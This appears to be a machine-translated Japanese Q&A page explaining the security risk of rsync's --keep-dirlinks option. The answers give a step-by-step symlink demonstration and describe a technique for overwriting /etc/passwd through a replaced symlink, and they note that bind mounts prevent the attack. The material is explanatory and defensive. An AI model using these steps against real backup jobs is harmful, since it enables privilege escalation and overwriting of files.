web-dev-qa-db-ja.com

`rsync -K`ベースのエクスプロイト

-K--keep-dirlinks)フラグの説明で、rsyncのマニュアルページに次の警告が表示されます(私の強調):

注意事項:--keep-dirlinksを使用する場合は、コピー内のすべてのシンボリックリンクを信頼する必要があります。 信頼できないユーザーが任意のディレクトリへの独自のシンボリックリンクを作成できる場合、ユーザーは(後続のコピーで)シンボリックリンクを実際のディレクトリに置き換えて、シンボリックリンクが参照するディレクトリの内容に影響を与えることができます。 バックアップコピーの場合は、受信階層を変更するために、シンボリックリンクの代わりにバインドマウントなどを使用することをお勧めします。

強調表示された文を何度か読みましたが、それが参照するエクスプロイトはまだわかりません。

誰かがエクスプロイトの具体的な例を挙げられますか? (「バインドマウント」が問題を回避する方法の説明を含めてください。)


FWIW、これが-Kオプションの機能についての私の理解です。

たとえば、初期状態が次の場合:

 sender:/ path/to/sourcedir 
└──foo /
└──file 
 
 receiver:/ path/to/targetdir 
├──bar /
│└──stuff 
└── foo @-> bar /

次に、rsync sender:/path/to/sourcedir/ receiver:/path/to/targetdirの後、レシーバーは次のようになります。

 receiver:/ path/to/targetdir 
├──bar /
│└──stuff 
└── foo /
└──ファイル

fooはシンボリックリンクではなくなりました。)

一方、rsync -K sender:/path/to/sourcedir/ receiver:/path/to/targetdirの後は、次のようになります。

 receiver:/ path/to/targetdir 
├──bar /
│├──file 
│└──stuff 
└─ ─ foo @-> bar /
6
kjo

-Kオプションの使用は正しいです。しかし、この悪用は、リンクの作成を実行し、rsyncを実行するさまざまなユーザーを対象としています。まず、いくつかのrsync -Kの動作を見てみましょう。テストディレクトリをいくつか作成します。

[me] $ mkdir a b c b/from b/from/mydir c/to
[me] $ touch a/bar
[me] $ touch b/from/mydir/foo

そして、単純なrsyncを実行します

[me] $ rsync -avK b/from/ c/to
sending incremental file list
./
mydir/
mydir/foo

sent 135 bytes  received 39 bytes  348.00 bytes/sec
total size is 0  speedup is 0.00
[me] $ find c/to/
c/to/
c/to/mydir
c/to/mydir/foo

そして、新しいテストの前にcをクリーンアップしましょう:

[me] $ rm -rf c/to
[me] $ mkdir c/to

ここで、私が一部のother userc/toおよびb/fromへの書き込み権限を与えることを想像してください。物事を簡単にするために、次のchgrpを使用すると、多くの人がそこに書き込むことができます。

[me] $ chgrp -R students c/to b/from

そして賢い学生がこれを実行します:

[student] $ ln -s ../../a c/to/student_dir
[student] $ mkdir b/from/student_dir
[student] $ echo 1337 > b/from/student_dir/bar

翌朝、rsyncを実行します。

[me] $ rsync -avK b/from/ c/to/
sending incremental file list
./
student_dir/
student_dir/bar

痛い!変更する権限を誰にも与えなかったa内のファイルが変更されました。

[me] $ cat a/bar
1337

また、rsyncは一般的にcronジョブなどの反復的なタスクに使用されるため、これが気付かれない可能性もあります。

簡単に言うと、エクスプロイトは次のように主張できます:再帰的なrsyncジョブの送信側(from)と受信側(to)にアクセスできるユーザーは、rsyncを実行しているユーザーの特権を取得しますジョブ。

Rootとしてrsync -Kを実行しないでください!

4
grochmal

攻撃の可能性があります。送信者のこれから始めます:

sender:/path/to/sourcedir
└── foo@ -> /etc/

Rsyncを1回実行して、これを取得します。

receiver:/path/to/targetdir
└── foo@ -> /etc/

これを送信者に変更してください:

sender:/path/to/sourcedir
└── foo/
    └── passwd

Rsyncが再び実行されると、/ etc/passwdがレシーバーで上書きされます。

バインドマウントは、rsyncが常にそれらを介して書き込みを行うが、それらを作成しないため、この攻撃を防止します。